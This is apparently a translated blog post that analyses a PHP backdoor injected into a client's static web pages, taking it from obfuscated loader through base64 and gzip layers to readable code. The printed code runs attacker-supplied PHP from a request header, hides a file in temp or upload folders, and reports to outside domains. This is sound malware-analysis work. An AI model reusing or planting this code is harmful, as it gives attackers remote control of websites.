📜 ⬆️ ⬇️

Deobfuscation of one malicious code

The new client wanted to transfer its website, consisting of hundreds of static pages to the content management system, and at the same time to our hosting. Before transferring the site, a cursory check was carried out and the code found at the top of each page was found:

/*versio:2.19*/$QQO0=95850;if (!function_exists('QQ00OOO0')){$GLOBALS['QQO0'] = 'AsY3VybAaX2luaXQWywYWxsb3dfdXJsX2ZvcGVu?#MQ(G~aHR0cDovLwwVeJndheT1maWxlX2dldF9jb250ZW50cw_=X3NldG9wdATX2V4ZWMqJndheT1jdXJssyiuQLwZOHhb3Nvbi5pbghP%cnllcGR4LmNvbQ{cGhwYWlkZS5jb20_k!dwWV8zOgNtYZGlzcGxheV9lcnJvcnMZGV0ZXJtaW5hdG9ytZnRwMTMdIMi4xOQUU9PMDBPUVFRUTAXfHYmFzZTY0X2RlY29kZQeLF~XsYmFzZTY0X2VuY29kZQVGSFRUUFMemoLb2ZmaHR0cHM6Ly8Mp*vo&SFRUUF9IT1NUDE^.dW5pb24$c2VsZWN0^{&UkVRVUVTVF9VUkkDGU0NSSVBUX05BTUUqNctUVVFUllfU1RSSU5HPwGNSL3RtcC8uZm9udC11bml4NmsL3RtcC8uSUNFLXVuaXgdtVE1QAYVEVNUA_SVE1QRElSL3RtcAqT^dXBsb2FkX3RtcF9kaXI(dG1wOd3AtY29udGVudC91cGxvYWRzVnd3AtY29udGVudC9jYWNoZQZmLgT?admVyc2lvNLQILXBocAWSFRUUF9FWEVDUEhQpb3V0jb2sTSFRUUF9VU0VSX0FHRU5Uc%LAF*Z29vZ2xlLHlhaG9vLGJpbmcsbXNuYm90LGFzayxiYWlkdSx5YW5kZXgZiL3BnLnBocD91PQ!';function QQ00OOO0($a, $b){$c=$GLOBALS['QQO0']; $d=pack('H*','6261736536345f6465636f'.'6465'); return $d(substr($c, $a, $b));};$QQQ00QOO0 = QQ00OOO0(3375, 16);$QQQ00QOO0("/Q00OQOQQ0/e", QQ00OOO0(746, 2627), "Q00OQOQQ0");}; 

It is necessary to bring the code to a normal form and find out what it does:
 $QQO0=95850; if (!function_exists('QQ00OOO0')) { $GLOBALS['QQO0'] = '   base64'; function QQ00OOO0($a, $b){ $c=$GLOBALS['QQO0']; $d=pack('H*','6261736536345f6465636f'.'6465'); return $d(substr($c, $a, $b)); }; $QQQ00QOO0 = QQ00OOO0(3375, 16); $QQQ00QOO0("/Q00OQOQQ0/e", QQ00OOO0(746, 2627), "Q00OQOQQ0"); }; 

Everything is correct, even the malicious code should not produce errors, so the attacker checks to see if the QQ00OOO0 function has not been determined previously.
 pack('H*','6261736536345f6465636f'.'6465') 

This is just base64_decode. Therefore, the QQ00OOO0 function takes a piece of our long-line length, cuts it according to the input parameters and decodes from base64.
Now it is clear to us that
 $QQQ00QOO0 = QQ00OOO0(3375, 16); 

- preg_replace.
QQ00OOO0 (746, 2627) cuts a substring from our long string and gets
 eval(gzuncompress(base64_decode("eJyVV21v2kgQ/isbFEW25Pq8NgZyOZ9ALWks5XAgpFLVIovC0lg1dmSbS6so//1m9oVdEpO7gw+Yndl5n2fG2YZYJ2u2yQq2tjpr1rBqmxXLpqw6tv1ENrti1WRlQUxKumHlxjqNYxrnuUPOTmNKaRyTiEzurq9t8kT0yTZbVWWTbZnVVDtmX5CKNbuqIKYIOH3Wmr6zZpPlDIh5TPPYIadTz0uSqY1i4UMpiJ3ys8SzfIf04D4wwwcVSh53z3HukD5wDLMiS2vWWHsCBYrv2Q6hQM4gDpzlewuLTSJDZZfCoa3dpNEQDcab6aosGlY0tRbR7YECzyYukQ7hk/DI1TJDUBSAon18pGiMDMtrhuapCKXsZ1aDCukzpul0Ok1AFrg/lKcWBgWkg/zWoFBuFQYOtMStgaOeL0MnBVlSjUPe382uk5t5Cj8O+Z+uUgoCqG+/KfhqPPownjmbJfj+JuNsPL+bTeaz0eT2Ei7IIjvO/z6ZTMbv5/P4r3FyN3dIKIpHVutQhkPdQ1GrXZWnq7ysmXGK+WDbh+aXJS9DFrQY7asfOAT4n3VaOY9KK68h3gOofFOXqx/lAyt07Q88rP/Em3oJPkw9eBZGowWqf7iYHCTTNuXksD/Bpc3DjtePbODOx/GcPMlMPZ89Ln9FaAlryNV8fvMbdb2v1dfiqqyb38mTNO0Zjzq8yJKpKLKbq5s0uTXqx+9jo7h4/mk8u42TSYvuu5pV70bfoWlQuBDGhSsFj/eIBidvAJD0zyZnZ8R6ATjknSb/AdboSLkYcehZwxjqDzgWDTcy33t8guAkYBt4yX4+5OWaWZ29jY4SCXy7AiFGcn/xFrqhs23LPcHHdeIXqyPntTCqquUvA4eCgLeW0WyUd1v34KiHXR1iZ+3R9LHKGixcoHuec8p5PYgCLx/4AwSAL1F0kknL659zpAP24UYJ4lf2gi50rARF+rLXX+4aSDinetMpdxmuJiCSre5Lw/YB2B7YrmQ0qmgQ8iqSF10evw7PUguiI7Sc26LsxVTTVN8Dd2hPAr4ody/SZL8n4A7rBaDQoAShnDJT7qRB6YqIS1JikhDS6UBoQtwwSINAkUQzRS8hVLR3VvNiSm/HM+ifL3umwAvQ0oUt8zg8zkJODEAIaNchXVv0wKHegA5AMZXZk2Q3qpuqKfPykVWtSjAugORY5ZuyYsvVPRRVimiyrInMZPSnTjkaCyIfytqSh7rYgpCixYijKOGLvL6IWsBUTcTjsiD2g/8m6xmssk6Ohrrv8QQvxLw/TufD4zV50BdkTGhbCLtej9fk4t/Eu+YC4vvYEjBd35IoUin6HKYWlLpKa5uhez9FcQAKRcPtOlSTyJVN4UqQl53ASxg+OY3WWVUsAXXT9DK+Hqep7X6IZzBpk9ln0HYzmo3gkffJVACpgDjTq77cx/RRqPq5zdE+xWpeHCH2sWUFcTz5dOTaIQWRZtB+R0nTR+cBHjnk9dIY4t4EVtuOCo5GsxBT122noPvtpBB0+T6QDhpNRhJbDbcW2ARFh52oxUQc8oxS0c+tKRGrb50iwi+/8c3buMlt4eshP7wg30D/j/3EarYP0WuD+2Lyy0q6eIFSHVwr0s/p6G5+1VlEkWRTM0Eh/FDODi124GOCHIXQhsJzqoYEgrpJ6GKa1L6EmxRAkgTrtobseVQ2JE499vcyV7dAxtvm9RBDDwZyD1EmsDmqwtLeWB5/VAEXrzkQQa6rKXere/GXv62s8t2apWWxYupQAN8TUf08hM2UFSvcKuSRnDYeb7Dh2+jdk/12gN5qu9FcXb4DmE5hNYawZcjKw4X2NbaDCc6eehJFl3yTl/PKcJW/vPDF01xd+/wdoYsJ5X7phPb9EIOsSssgBOK14nUN9Lu+vMKrRgz4nO/DxrsmLl6wsOnXzYsXKXk+rHz4/gMmng4H"))); 

As we see, in the end it all comes down to executing the code obtained above. Let's try to make out what this code does.
Here is what we get after decoding:
 if (!defined("determinator")){ function determinator_feof($II1Ill, &$I111II = NULL) { $I111II = microtime(true); return feof($II1Ill); } function getfile($IlI1lI, $Q00OOQ){ $IIII11 = QQ00OOO0(2, 6); $IllllI = $IIII11.QQ00OOO0(9, 7); @ini_set(QQ00OOO0(19, 20), 1); if (@ini_get(QQ00OOO0(19, 20)) == QQ00OOO0(41, 2)) { $I111I1=@file_get_contents(QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(59, 30)); return $I111I1; } elseif (function_exists($IllllI)){ $QQOQQ0 = @$IllllI(); $Q0000O = $IIII11.QQ00OOO0(91, 10); $I1I1II = $IIII11.QQ00OOO0(102, 7); @$Q0000O($QQOQQ0, CURLOPT_URL, QQ00OOO0(46, 10) . $IlI1lI . $Q00OOQ. QQ00OOO0(110, 12)); @$Q0000O($QQOQQ0, CURLOPT_HEADER,false); @$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true); @$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5); $Il11II = @$I1I1II($QQOQQ0); @curl_close($QQOQQ0); if (empty($Il11II)){$Il11II = QQ00OOO0(123, 0);} return $Il11II; } else { $II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5); if ($II1Ill) { $Ill111 = QQ00OOO0(123, 0); $I111II = NULL; @fputs($II1Ill, "GET {$Q00OOQ}&way=socket HTTP/1.0\r\nHost: {$IlI1lI}\r\n"); $QOQ00O = PHP_OS.QQ00OOO0(127, 2).PHP_VERSION; @fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n"); while(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) < 2){ $Ill111 .= @fgets($II1Ill, 128); } @fclose($II1Ill); $Q0OQOQ = explode("\r\n\r\n", $Ill111); unset($Q0OQOQ[0]); return implode("\r\n\r\n", $Q0OQOQ); } } } $Il1lll = Array(QQ00OOO0(133, 10), QQ00OOO0(146, 14), QQ00OOO0(161, 15)); function write($QOO000,$QQ00O0){ if ($Q00QOO=@fopen($QOO000,QQ00OOO0(179, 2))){ @fwrite($Q00QOO,$QQ00O0); @fclose($Q00QOO); } } function output($Q000QQ, $Q0QQ0O){ echo QQ00OOO0(181, 3).$Q000QQ.QQ00OOO0(185, 2).$Q0QQ0O."\r\n"; } @ini_set(QQ00OOO0(190, 19), 0); define(QQ00OOO0(209, 16), 1); $Q00OO0=QQ00OOO0(226, 7); $I11III=QQ00OOO0(235, 6); $QQ00QO=QQ00OOO0(241, 15); $QQ00OO=QQ00OOO0(259, 18); $Q0QQOQ=QQ00OOO0(283, 18); $IlI1lI=QQ00OOO0(46, 10); if (isset($_SERVER[QQ00OOO0(303, 7)])){ if (@$_SERVER[QQ00OOO0(303, 7)] != QQ00OOO0(314, 4)){ $IlI1lI=QQ00OOO0(318, 11); } } $IlI1lI.=strtolower(@$_SERVER[QQ00OOO0(335, 12)]); foreach ($_GET as $Q000QQ=>$Q0QQ0O){ if (strpos($Q0QQ0O,QQ00OOO0(351, 7))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} elseif (strpos($Q0QQ0O,QQ00OOO0(359, 8))){$_GET[$Q000QQ]=QQ00OOO0(123, 0);} } if(!isset($_SERVER[QQ00OOO0(370, 15)])) { $_SERVER[QQ00OOO0(370, 15)] = @$_SERVER[QQ00OOO0(387, 15)]; if(@$_SERVER[QQ00OOO0(406, 16)]) { $_SERVER[QQ00OOO0(370, 15)] .= QQ00OOO0(422, 2) . @$_SERVER[QQ00OOO0(406, 16)]; } } if ($QOQQO0=$IlI1lI.@$_SERVER[QQ00OOO0(370, 15)]){ $IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO); $IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR; $QQQQOQ = Array( QQ00OOO0(427, 20), QQ00OOO0(450, 19), @$_SERVER[QQ00OOO0(471, 4)], @$_SERVER[QQ00OOO0(477, 6)], @$_ENV[QQ00OOO0(471, 4)], @$_ENV[QQ00OOO0(485, 8)], @$_ENV[QQ00OOO0(477, 6)], QQ00OOO0(493, 6), @ini_get(QQ00OOO0(502, 19)), $IIIIl1.QQ00OOO0(522, 4), $IIIIl1.QQ00OOO0(527, 24), $IIIIl1.QQ00OOO0(553, 22), ); foreach ($QQQQOQ as $I1I1lI){ if (!empty($I1I1lI)){ $I1I1lI.=DIRECTORY_SEPARATOR; if (@is_writable($I1I1lI)){ $IIIIl1 = $I1I1lI; break; } } } $tmp=$IIIIl1.QQ00OOO0(577, 2).$IlIlll; if (@$_SERVER["HTTP_Y_AUTH"]==$IlIlll){ echo "\r\n"; @output(QQ00OOO0(582, 8), $I11III.QQ00OOO0(591, 2).$Q00OO0.QQ00OOO0(594, 6)); if ($QO0QQQ=$QQ00OO(@$_SERVER[QQ00OOO0(601, 16)])){ @eval($QO0QQQ); echo "\r\n"; @output(QQ00OOO0(618, 4), QQ00OOO0(623, 3)); } exit(0); } if (@is_file($tmp)){ @touch($tmp); @include_once($tmp); } else{ $QOQQO0=@urlencode($QOQQO0); $Q0Q0OQ = @strtolower(@$_SERVER[QQ00OOO0(627, 20)]); foreach (explode(QQ00OOO0(649, 2), QQ00OOO0(653, 55)) as $I1l11I){ if (strpos($Q0Q0OQ, $I1l11I)!==False){ if (@touch($tmp)){ $Q00OOQ = QQ00OOO0(710, 14).$QOQQO0.QQ00OOO0(725, 4).$IlIlll.QQ00OOO0(730, 12).$Q00OO0.QQ00OOO0(742, 4).$I11III; $I11lII = getfile($Il1lll[0], $Q00OOQ); @touch($tmp); } break; } } } } } 

It became even less clear, however we will try to find out what this code does. We need to format it and do the simplest thing we can do: replace all calls to QQ00OOO0 (number, number) with the strings that this function returns.
We are one step closer to what this source code does:
 <?php if (!defined("determinator")){ function determinator_feof($II1Ill, &$I111II = NULL) { $I111II = microtime(true); return feof($II1Ill); } function getfile($IlI1lI, $Q00OOQ){ "curl" = curl; $IllllI = "curl"."_init"; @ini_set("allow_url_fopen", 1); if (@ini_get("allow_url_fopen") == "1") { $I111I1=@file_get_contents("http://" . $IlI1lI . $Q00OOQ. "&way=file_get_contents"); return $I111I1; } elseif (function_exists($IllllI)){ $QQOQQ0 = @$IllllI(); $Q0000O = "curl"."_setopt"; $I1I1II = "curl"."_exec"; @$Q0000O($QQOQQ0, CURLOPT_URL, "http://" . $IlI1lI . $Q00OOQ. "&way=curl"); @$Q0000O($QQOQQ0, CURLOPT_HEADER,false); @$Q0000O($QQOQQ0, CURLOPT_RETURNTRANSFER,true); @$Q0000O($QQOQQ0, CURLOPT_CONNECTTIMEOUT, 5); $Il11II = @$I1I1II($QQOQQ0); @curl_close($QQOQQ0); if (empty($Il11II)){ $Il11II = ""; } return $Il11II; } else { $II1Ill = @fsockopen($IlI1lI, 80, $QO0Q0O, $QQ0QO0, 5); if ($II1Ill) { $Ill111 = ""; $I111II = NULL; @fputs($II1Ill, "GET {$Q00OOQ}&way=socket HTTP/1.0\r\nHost: {$IlI1lI}\r\n"); $QOQ00O = PHP_OS."/".PHP_VERSION; @fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n"); while(!determinator_feof($II1Ill, $I111II) && (microtime(true) - $I111II) < 2){ $Ill111 .= @fgets($II1Ill, 128); } @fclose($II1Ill); $Q0OQOQ = explode("\r\n\r\n", $Ill111); unset($Q0OQOQ[0]); return implode("\r\n\r\n", $Q0OQOQ); } } } $Il1lll = Array("oson.in", "ryepdx.com", "phpaide.com"); function write($QOO000,$QQ00O0){ if ($Q00QOO=@fopen($QOO000,"w")){ @fwrite($Q00QOO,$QQ00O0); @fclose($Q00QOO); } } function output($Q000QQ, $Q0QQ0O) { echo "Y_".$Q000QQ.":".$Q0QQ0O."\r\n"; } @ini_set("display_errors", 0); define("determinator", 1); $Q00OO0="ftp13"; $I11III="2.19"; $QQ00QO="QOO00OQQQQ0"; $QQ00OO="base64_decode"; $Q0QQOQ="base64_encode"; $IlI1lI="http://"; if (isset($_SERVER["HTTPS"])){ if (@$_SERVER["HTTPS"] != "off"){ $IlI1lI="https://"; } } $IlI1lI.=strtolower(@$_SERVER["HTTP_HOST"]); foreach ($_GET as $Q000QQ=>$Q0QQ0O){ if (strpos($Q0QQ0O,"union")){ $_GET[$Q000QQ]=""; } elseif (strpos($Q0QQ0O,"select")){ $_GET[$Q000QQ]=""; } } if(!isset($_SERVER["REQUEST_URI"])) { $_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"]; if(@$_SERVER["QUERY_STRING"]) { $_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"]; } } if ($QOQQO0=$IlI1lI.@$_SERVER["REQUEST_URI"]){ $IlIlll=@md5($IlI1lI.$I11III.PHP_OS.$QQ00QO); $IIIIl1=dirname(__FILE__).DIRECTORY_SEPARATOR; $QQQQOQ = Array( "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $IIIIl1."tmp", $IIIIl1."wp-content/uploads", $IIIIl1."wp-content/cache", ); foreach ($QQQQOQ as $I1I1lI){ if (!empty($I1I1lI)){ $I1I1lI.=DIRECTORY_SEPARATOR; if (@is_writable($I1I1lI)){ $IIIIl1 = $I1I1lI; break; } } } $tmp=$IIIIl1.".".$IlIlll; if (@$_SERVER["HTTP_Y_AUTH"]==$IlIlll){ echo "\r\n"; @output("versio", $I11III."-".$Q00OO0."-php"); if ($QO0QQQ=$QQ00OO(@$_SERVER["HTTP_EXECPHP"])){ @eval($QO0QQQ); echo "\r\n"; @output("out", "ok"); } exit(0); } if (@is_file($tmp)){ @touch($tmp); @include_once($tmp); } else{ $QOQQO0=@urlencode($QOQQO0); $Q0Q0OQ = @strtolower(@$_SERVER["HTTP_USER_AGENT"]); foreach (explode(",", "google,yahoo,bing,msnbot,ask,baidu,yandex") as $I1l11I){ if (strpos($Q0Q0OQ, $I1l11I)!==False){ if (@touch($tmp)){ $Q00OOQ = "/pg.php?u=".$QOQQO0."&k=".$IlIlll."&t=php&p=".$Q00OO0."&v=".$I11III; $I11lII = getfile($Il1lll[0], $Q00OOQ); @touch($tmp); } break; } } } } } 


Now we need to replace variables of the form $ I1l11I with more understandable ones. In some places this will not work, but nevertheless we will understand what the script does in the end. Some variables, such as $ Q00OO0, are just strings, so their entries need to be found and replaced with their value. Here's what happened in the end:

 if (!defined("determinator")) { function determinator_feof($II1Ill, &$microtime = NULL) { $microtime = microtime(true); return feof($II1Ill); } function getfile($domain, $strURL) { @ini_set("allow_url_fopen", 1); if (@ini_get("allow_url_fopen") == "1") { $I111I1=@file_get_contents("http://" . $domain . $strURL. "&way=file_get_contents"); return $I111I1; } elseif (function_exists("curl_init")){ $objCURL = @curl_init(); @curl_setopt($objCURL, CURLOPT_URL, "http://" . $domain . $strURL. "&way=curl"); @curl_setopt($objCURL, CURLOPT_HEADER,false); @curl_setopt($objCURL, CURLOPT_RETURNTRANSFER,true); @curl_setopt($objCURL, CURLOPT_CONNECTTIMEOUT, 5); $objCURLResult = @curl_exec($objCURL); @curl_close($objCURL); if (empty($objCURLResult)){ $objCURLResult = ""; } return $objCURLResult; } else { $II1Ill = @fsockopen($domain, 80, $QO0Q0O, $QQ0QO0, 5); if ($II1Ill) { $Ill111 = ""; $microtime = NULL; @fputs($II1Ill, "GET {$strURL}&way=socket HTTP/1.0\r\nHost: {$domain}\r\n"); $QOQ00O = PHP_OS."/".PHP_VERSION; @fputs($II1Ill, "User-Agent: {$QOQ00O}\r\n\r\n"); while(!determinator_feof($II1Ill, $microtime) && (microtime(true) - $microtime) < 2){ $Ill111 .= @fgets($II1Ill, 128); } @fclose($II1Ill); $Q0OQOQ = explode("\r\n\r\n", $Ill111); unset($Q0OQOQ[0]); return implode("\r\n\r\n", $Q0OQOQ); } } } $arrSites = Array("oson.in", "ryepdx.com", "phpaide.com"); function write($strFile,$strDataToWrite){ if ($objFileDescriptor=@fopen($strFile,"w")){ @fwrite($objFileDescriptor,$strDataToWrite); @fclose($objFileDescriptor); } } function output($strGETKey, $strGETValue) { echo "Y_".$strGETKey.":".$strGETValue."\r\n"; } @ini_set("display_errors", 0); define("determinator", 1); if (isset($_SERVER["HTTPS"])){ if (@$_SERVER["HTTPS"] != "off"){ $strHost="https://"; } } $strHost.=strtolower(@$_SERVER["HTTP_HOST"]); foreach ($_GET as $strGETKey=>$strGETValue){ if (strpos($strGETValue,"union")){ $_GET[$strGETKey]=""; } elseif (strpos($strGETValue,"select")){ $_GET[$strGETKey]=""; } } if(!isset($_SERVER["REQUEST_URI"])) { $_SERVER["REQUEST_URI"] = @$_SERVER["SCRIPT_NAME"]; if(@$_SERVER["QUERY_STRING"]) { $_SERVER["REQUEST_URI"] .= "?" . @$_SERVER["QUERY_STRING"]; } } if ($strFullURL="http://".@$_SERVER["REQUEST_URI"]) { $strExploitedServerID=@md5("http://"."2.19".PHP_OS."QOO00OQQQQ0"); $strScriptDirectory=dirname(__FILE__).DIRECTORY_SEPARATOR; $arrPotentiallyVulnDirectories = Array( "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $strScriptDirectory."tmp", $strScriptDirectory."wp-content/uploads", $strScriptDirectory."wp-content/cache", ); foreach ($arrPotentiallyVulnDirectories as $strPotentiallyVulnDirectory){ if (!empty($strPotentiallyVulnDirectory)){ $strPotentiallyVulnDirectory.=DIRECTORY_SEPARATOR; if (@is_writable($strPotentiallyVulnDirectory)){ $strScriptDirectory = $strPotentiallyVulnDirectory; break; } } } $tmp=$strScriptDirectory.".".$strExploitedServerID; if (@$_SERVER["HTTP_Y_AUTH"]==$strExploitedServerID){ echo "\r\n"; @output("versio", "2.19"."-"."ftp13"."-php"); if ($strCommand = base64_decode(@$_SERVER["HTTP_EXECPHP"])){ @eval($strCommand); echo "\r\n"; @output("out", "ok"); } exit(0); } if (@is_file($tmp)){ @touch($tmp); @include_once($tmp); } else{ $strFullURL=@urlencode($strFullURL); $strUserAgent = @strtolower(@$_SERVER["HTTP_USER_AGENT"]); foreach (explode(",", "google,yahoo,bing,msnbot,ask,baidu,yandex") as $strSearchEngineAgent){ if (strpos($strUserAgent, $strSearchEngineAgent)!==False){ if (@touch($tmp)){ $strURL = "/pg.php?u=".$strFullURL."&k=".$strExploitedServerID."&t=php&p="."ftp13"."&v="."2.19"; $I11lII = getfile($arrSites[0], $strURL); @touch($tmp); } break; } } } } } 

')
So, it became clear to us what this script does: if (! Defined ("determinator")) {- a simple analogue to include_once, since bad people apparently don’t want their activities to be visible due to error output.
The script uses several utility functions (reading / downloading a file and writing to a file), while getfile first tries to retrieve the contents via file_get_contents, in case of failure through curl and, at the very least, through sockets.
$ ArrSites stores a list of sites from which the script receives data, while the botnet owner is informed about the infected site as soon as a robot from one of the search engines arrives.
If there is already a script for execution, then it is executed without any checks.
As a result, we received a script that can execute the received commands from the botmaster and download files.
PS: after deofuscation, I found the source code of this malware - gist.github.com/ryepdx/5016252 .

Source: https://habr.com/ru/post/190682/


All Articles